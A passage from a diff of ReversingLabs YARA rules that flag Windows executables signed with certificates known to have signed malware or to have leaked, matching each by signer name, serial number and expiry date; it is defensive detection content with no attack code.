"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1582-L1598" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a124f80d599051ecd7c17e6818d181ea018db14c9f0514bbcc5b677ba3656d65" + logic_hash = "3c777fb157a6669bfdf3143e77f69265e09458a2b42b75b72680eb043da71e85" score = 75 quality = 90 tags = "INFO, FILE" @@ -17429,21 +39823,21 @@ rule REVERSINGLABS_Cert_Blocklist_D609B6C95428954A999A8A99D4F198Af : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Fudl" and ( pe.signatures [ i ] . serial == "00:d6:09:b6:c9:54:28:95:4a:99:9a:8a:99:d4:f1:98:af" or pe.signatures [ i ] . serial == "d6:09:b6:c9:54:28:95:4a:99:9a:8a:99:d4:f1:98:af" ) and 1612828800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, Tony Yeh" and pe.signatures [ i ] . serial == "08:60:c8:a7:ed:18:c3:f0:30:a3:27:22:fd:2b:22:0c" and 1404172799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D3356318924C8C42959Bf1D1574E6482 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2Fdadd0740572270203F8138692C4A83 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "36b12300-6535-5644-9145-9f532b49a421" + id = "0b289c4e-c564-5513-a1a5-42e8551c6218" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7560-L7578" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1600-L1616" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a672054a776d0715fc888578bcb559d24ef54b4c523f7d49a39ded2586c3140a" + logic_hash = "18ce7ed721a454c5bb3cd6ab26df703b1e08b94b8c518055feffa38ad42afa50" score = 75 quality = 90 tags = "INFO, FILE" @@ -17453,21 +39847,21 @@ rule REVERSINGLABS_Cert_Blocklist_D3356318924C8C42959Bf1D1574E6482 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ADV TOURS d.o.o." and ( pe.signatures [ i ] . serial == "00:d3:35:63:18:92:4c:8c:42:95:9b:f1:d1:57:4e:64:82" or pe.signatures [ i ] . serial == "d3:35:63:18:92:4c:8c:42:95:9b:f1:d1:57:4e:64:82" ) and 1613001600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, William Zoltan" and pe.signatures [ i ] . serial == "2f:da:dd:07:40:57:22:70:20:3f:81:38:69:2c:4a:83" and 1404172799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_31D852F5Fca1A5966B5Ed08A14825C54 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4Fc13D6220C629043A26F81B1Cad72D8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "362a6eb7-f49e-502b-9870-522aea13e04b" + id = "c2573adc-6580-58aa-a58c-c21bf6b79364" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7580-L7596" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1618-L1634" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8c98b856d53e6862e94042bb133f5739bddcec2e208e43961b23e244584c6ee4" + logic_hash = "5572c278f6c9be62b2bba09ea610fd170438c6893ee5283ff4a5b3bb2852b07b" score = 75 quality = 90 tags = "INFO, FILE" @@ -17477,21 +39871,21 @@ rule REVERSINGLABS_Cert_Blocklist_31D852F5Fca1A5966B5Ed08A14825C54 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BBT KLA d.o.o." and pe.signatures [ i ] . serial == "31:d8:52:f5:fc:a1:a5:96:6b:5e:d0:8a:14:82:5c:54" and 1612396800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, meicun ge" and pe.signatures [ i ] . serial == "4f:c1:3d:62:20:c6:29:04:3a:26:f8:1b:1c:ad:72:d8" and 1404172799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_17D99Cc2F5B29522D422332E681F3E18 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3457A918C6D3701B2Eaca6A92474A7Cc : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0d0a58a4-353d-51f9-a739-a135d77357c9" + id = "12526715-7b54-5c31-aa2a-b77ed067e3ee" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7598-L7614" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1636-L1652" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "55cc1634cdc5209d68b98fdb0d9e97e0a34346cdcb10f243d13217cda01195f1" + logic_hash = "70d4bece52a86bfe8958f6d4195b833cea609596e3b68bb90087c262501bd462" score = 75 quality = 90 tags = "INFO, FILE" @@ -17501,21 +39895,21 @@ rule REVERSINGLABS_Cert_Blocklist_17D99Cc2F5B29522D422332E681F3E18 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PKV Trading ApS" and pe.signatures [ i ] . serial == "17:d9:9c:c2:f5:b2:95:22:d4:22:33:2e:68:1f:3e:18" and 1613088000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KONSALTING PLUS OOO" and pe.signatures [ i ] . serial == "34:57:a9:18:c6:d3:70:1b:2e:ac:a6:a9:24:74:a7:cc" and 1432252799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6A568F85De2061F67Ded98707D4988Df : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_621Ed8265B0Ad872D9F4B4Ed6D560513 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "962c3096-2c3d-5137-9637-b45d00b2ee9b" + id = "b64e640c-264f-597c-90a5-d0ad57aa5075" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7616-L7632" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1654-L1670" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "793be308a4df55c3b325e1ee3185159c4155f6dfabc311216d3763bd43680bd4" + logic_hash = "c133d6eea5d27e597d0a656c7c930a5ca84adb46aa2fec66381b6b5c759e22aa" score = 75 quality = 90 tags = "INFO, FILE" @@ -17525,21 +39919,21 @@ rule REVERSINGLABS_Cert_Blocklist_6A568F85De2061F67Ded98707D4988Df : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Apladis" and pe.signatures [ i ] . serial == "6a:56:8f:85:de:20:61:f6:7d:ed:98:70:7d:49:88:df" and 1613001600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fan Li" and pe.signatures [ i ] . serial == "62:1e:d8:26:5b:0a:d8:72:d9:f4:b4:ed:6d:56:05:13" and 1413183357 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_038Fc745523B41B40D653B83Aa381B80 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_56E22B992B4C7F1Afeac1D63B492Bf54 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3f7f9d58-3a7a-5f84-bf6e-795a9c8bcd38" + id = "28609e75-47cb-5017-bb92-046a9e8931c6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7634-L7650" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1672-L1688" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "016ca6dcb5c7c56c80e4486b84d97fb3869a959ef3e8392e4376a0a0de06092f" + logic_hash = "ef058c0ec352260fa3db0fc74331d1da3c9eb8d161cef7635632fd7c569198c6" score = 75 quality = 90 tags = "INFO, FILE" @@ -17549,21 +39943,21 @@ rule REVERSINGLABS_Cert_Blocklist_038Fc745523B41B40D653B83Aa381B80 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Optima" and pe.signatures [ i ] . serial == "03:8f:c7:45:52:3b:41:b4:0d:65:3b:83:aa:38:1b:80" and 1606143708 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, Hetem Ramadani" and pe.signatures [ i ] . serial == "56:e2:2b:99:2b:4c:7f:1a:fe:ac:1d:63:b4:92:bf:54" and 1435622399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_30Af0D0E6D8201A5369664C5Ebbb010F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3Bc3Bae4118D46F3Fdd9Beeeab749Fee : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "aaa31642-a0f4-5652-b3cd-c81cfb1ab127" + id = "0d2f1f5f-119a-5069-abcb-e4e93d9964c3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7652-L7668" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1690-L1706" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "018e5a0fbeeaded2569b83e2f91230e0055a5ffa2059b7a064a5c2eda55ed2de" + logic_hash = "fcbda27f8bf4dca8aa32103bb344380c82f0c701c25766df94c182ef94805a12" score = 75 quality = 90 tags = "INFO, FILE" @@ -17573,21 +39967,21 @@ rule REVERSINGLABS_Cert_Blocklist_30Af0D0E6D8201A5369664C5Ebbb010F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "3N-\\xC5\\xA0PORT podjetje za in\\xC5\\xBEeniring, storitve in trgovino d.o.o." and pe.signatures [ i ] . serial == "30:af:0d:0e:6d:82:01:a5:36:96:64:c5:eb:bb:01:0f" and 1613433600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE6\\x9D\\x8E\\xE9\\x9B\\xAA\\xE6\\xA2\\x85" and pe.signatures [ i ] . serial == "3b:c3:ba:e4:11:8d:46:f3:fd:d9:be:ee:ab:74:9f:ee" and 1442275199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ac0A7B9420B369Af3Ddb748385B981 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0F0449F7691E5B4C8E74E71Cae822179 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "82d6c0f5-80d1-5003-a5c9-9eadd9654460" + id = "17c99772-f2f9-56bc-be01-d9f62626a9ff" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7670-L7688" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1708-L1724" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2bc31eaa64be487cb85873a64b7462d90d1c28839def070ce5db7ae555383421" + logic_hash = "f8d3593b357f27240a4399e877ae9044f783bb944ad47ec9fe8bbecc63be864c" score = 75 quality = 90 tags = "INFO, FILE" @@ -17597,21 +39991,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ac0A7B9420B369Af3Ddb748385B981 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Tochka" and ( pe.signatures [ i ] . serial == "00:ac:0a:7b:94:20:b3:69:af:3d:db:74:83:85:b9:81" or pe.signatures [ i ] . serial == "ac:0a:7b:94:20:b3:69:af:3d:db:74:83:85:b9:81" ) and 1604620800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SBO INVEST" and pe.signatures [ i ] . serial == "0f:04:49:f7:69:1e:5b:4c:8e:74:e7:1c:ae:82:21:79" and 1432079999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C167F04B338B1E8747B92C2197403C43 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_43Db4448D870D7Bdc275F36A01Fba36F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0bf561ac-0283-557f-a685-4603e2b58273" + id = "47b3e681-87ae-5e70-8d02-18aa0daab0dc" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7690-L7708" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1726-L1742" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8e0a11efc739baefe23a3d77e4eefc9dc23c74821c91fc219822dbc5dbb468b1" + logic_hash = "951e35e2c3f1bd90a33f8b76b6ede5686ee9b9c97a4c71df5b9dff15956209c5" score = 75 quality = 90 tags = "INFO, FILE" @@ -17621,21 +40015,21 @@ rule REVERSINGLABS_Cert_Blocklist_C167F04B338B1E8747B92C2197403C43 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FORTUNE STAR TRADING, INC." and ( pe.signatures [ i ] . serial == "00:c1:67:f0:4b:33:8b:1e:87:47:b9:2c:21:97:40:3c:43" or pe.signatures [ i ] . serial == "c1:67:f0:4b:33:8b:1e:87:47:b9:2c:21:97:40:3c:43" ) and 1604361600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "3-T TOV" and pe.signatures [ i ] . serial == "43:db:44:48:d8:70:d7:bd:c2:75:f3:6a:01:fb:a3:6f" and 1436227199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_9272607Cfc982B782A5D36C4B78F5E7B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2880A7F7Ff2D334Aa08744A8754Fab2C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e3ad8f20-d12f-54e9-a6da-7aad28a10287" + id = "b079b564-9284-59b6-9703-4e33f2b2c44d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7710-L7728" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1744-L1760" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2b1d6f27fb513542589a5c9011e501a9d298282bba6882eac0fc7bf3e6ebb291" + logic_hash = "03c7e1251c44e8824ae3b648a95cf34f4c56db65d76806306a062a343981d87f" score = 75 quality = 90 tags = "INFO, FILE" @@ -17645,21 +40039,21 @@ rule REVERSINGLABS_Cert_Blocklist_9272607Cfc982B782A5D36C4B78F5E7B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rada SP Z o o" and ( pe.signatures [ i ] . serial == "00:92:72:60:7c:fc:98:2b:78:2a:5d:36:c4:b7:8f:5e:7b" or pe.signatures [ i ] . serial == "92:72:60:7c:fc:98:2b:78:2a:5d:36:c4:b7:8f:5e:7b" ) and 1605139200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Garena Online Pte Ltd" and pe.signatures [ i ] . serial == "28:80:a7:f7:ff:2d:33:4a:a0:87:44:a8:75:4f:ab:2c" and 1393891199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_45Eb9187A2505D8E6C842E6D366Ad0C8 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0492F5C18E26Fa0Cd7E15067674Aff1C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1b8390aa-16b9-558b-aee8-e30fc7100af4" + id = "6a176d4a-5d3e-5184-b923-12d561e7034a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7730-L7746" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1762-L1778" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4ae755e814ae2488d4bd6b8136ab6d78e4809a2ddacb7f88cf1d2b64c1488898" + logic_hash = "d47d59d7680000d6c35181be2d9b034c2ecb7ca754a39c8e11750ddd7246b47c" score = 75 quality = 90 tags = "INFO, FILE" @@ -17669,21 +40063,21 @@ rule REVERSINGLABS_Cert_Blocklist_45Eb9187A2505D8E6C842E6D366Ad0C8 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BAKERA s.r.o." and pe.signatures [ i ] . serial == "45:eb:91:87:a2:50:5d:8e:6c:84:2e:6d:36:6a:d0:c8" and 1607040000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ghada Saffarini" and pe.signatures [ i ] . serial == "04:92:f5:c1:8e:26:fa:0c:d7:e1:50:67:67:4a:ff:1c" and 1445990399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_56Fff139Df5Ae7E788E5D72196Dd563A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6Aa668Cd6A9De1Fdd476Ea8225326937 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4f34fd37-908c-573c-ba53-5ab622589e88" + id = "bfff2210-8545-594d-8674-243e57e3dd09" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7748-L7764" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1780-L1796" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4b58c83901605d8b43519f1bc2d4ac8dc10c794f027681378b2bee2a8ff81604" + logic_hash = "706e16995af40a6c9176dcbca07fb406f2efe4d47dbd9629d1a6b1ab1d09b045" score = 75 quality = 90 tags = "INFO, FILE" @@ -17693,21 +40087,21 @@ rule REVERSINGLABS_Cert_Blocklist_56Fff139Df5Ae7E788E5D72196Dd563A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Cifromatika LLC" and pe.signatures [ i ] . serial == "56:ff:f1:39:df:5a:e7:e7:88:e5:d7:21:96:dd:56:3a" and 1606435200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BSCP LIMITED" and pe.signatures [ i ] . serial == "6a:a6:68:cd:6a:9d:e1:fd:d4:76:ea:82:25:32:69:37" and 1441583999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E161F76Da3B5E4623892C8E6Fda1Ea3D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1Cb06Dccb482255728671Ea12Ac41620 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "386c81ef-87aa-514e-81d7-dddfb90e0dc2" + id = "5a7f61a4-15ba-5f5c-89e1-b8b986e13f19" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7766-L7784" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1798-L1814" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "883545593b48aa11c11f7fa1a1f77c62321ea86067f1ed108dcd00c8c6cd3495" + logic_hash = "e0867ffe2ddd28282fe78b27b3b12ebac525b33a27dd242bc6f55bcd2e066a18" score = 75 quality = 90 tags = "INFO, FILE" @@ -17717,21 +40111,21 @@ rule REVERSINGLABS_Cert_Blocklist_E161F76Da3B5E4623892C8E6Fda1Ea3D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TGN Nedelica d.o.o." and ( pe.signatures [ i ] . serial == "00:e1:61:f7:6d:a3:b5:e4:62:38:92:c8:e6:fd:a1:ea:3d" or pe.signatures [ i ] . serial == "e1:61:f7:6d:a3:b5:e4:62:38:92:c8:e6:fd:a1:ea:3d" ) and 1604966400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fangzhen Li" and pe.signatures [ i ] . serial == "1c:b0:6d:cc:b4:82:25:57:28:67:1e:a1:2a:c4:16:20" and 1445126399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_9Ae5B177Ac3A7Ce2Aadf1C891B574924 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_370C2467C41D6019Bbecd72E00C5D73D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c72b8b2a-3e49-5ac3-ab4d-55b86ce7f061" + id = "18c5d1bb-21b8-5157-a03b-8bcbdc74c0cd" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7786-L7804" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1816-L1832" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "03ac299459a1aaf2e4a2e62884cd321e16100fee78b4b0e271acdd8a4e32525c" + logic_hash = "2b99522b75ee83d85b30146cb292b5a8a46dc300fb43dd9d39d9ca96c9d32d9b" score = 75 quality = 90 tags = "INFO, FILE" @@ -17741,21 +40135,21 @@ rule REVERSINGLABS_Cert_Blocklist_9Ae5B177Ac3A7Ce2Aadf1C891B574924 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Kolorit" and ( pe.signatures [ i ] . serial == "00:9a:e5:b1:77:ac:3a:7c:e2:aa:df:1c:89:1b:57:49:24" or pe.signatures [ i ] . serial == "9a:e5:b1:77:ac:3a:7c:e2:aa:df:1c:89:1b:57:49:24" ) and 1608076800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "UNINFO SISTEMAS LTDA ME" and pe.signatures [ i ] . serial == "37:0c:24:67:c4:1d:60:19:bb:ec:d7:2e:00:c5:d7:3d" and 1445299199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_A03Ea3A4Fa772B17037A0B80F1F968Aa : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5067339614C5Cc219C489D40420F3Bf9 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "cbc0c6ca-fab2-531e-b368-4d3fdc72509f" + id = "6e0cb6f9-0a92-5eb2-b13f-f9c4eb0ae6b1" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7806-L7824" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1834-L1850" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e2044c6ddb80f3add13dfc3b623d0460ce8e9a66c5a98582f80d906edbbbd829" + logic_hash = "1716087285a093a3467583f79d7ae9bee641997227e6d4f95047905aedcc97c6" score = 75 quality = 90 tags = "INFO, FILE" @@ -17765,21 +40159,21 @@ rule REVERSINGLABS_Cert_Blocklist_A03Ea3A4Fa772B17037A0B80F1F968Aa : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DREVOKAPITAL, s.r.o." and ( pe.signatures [ 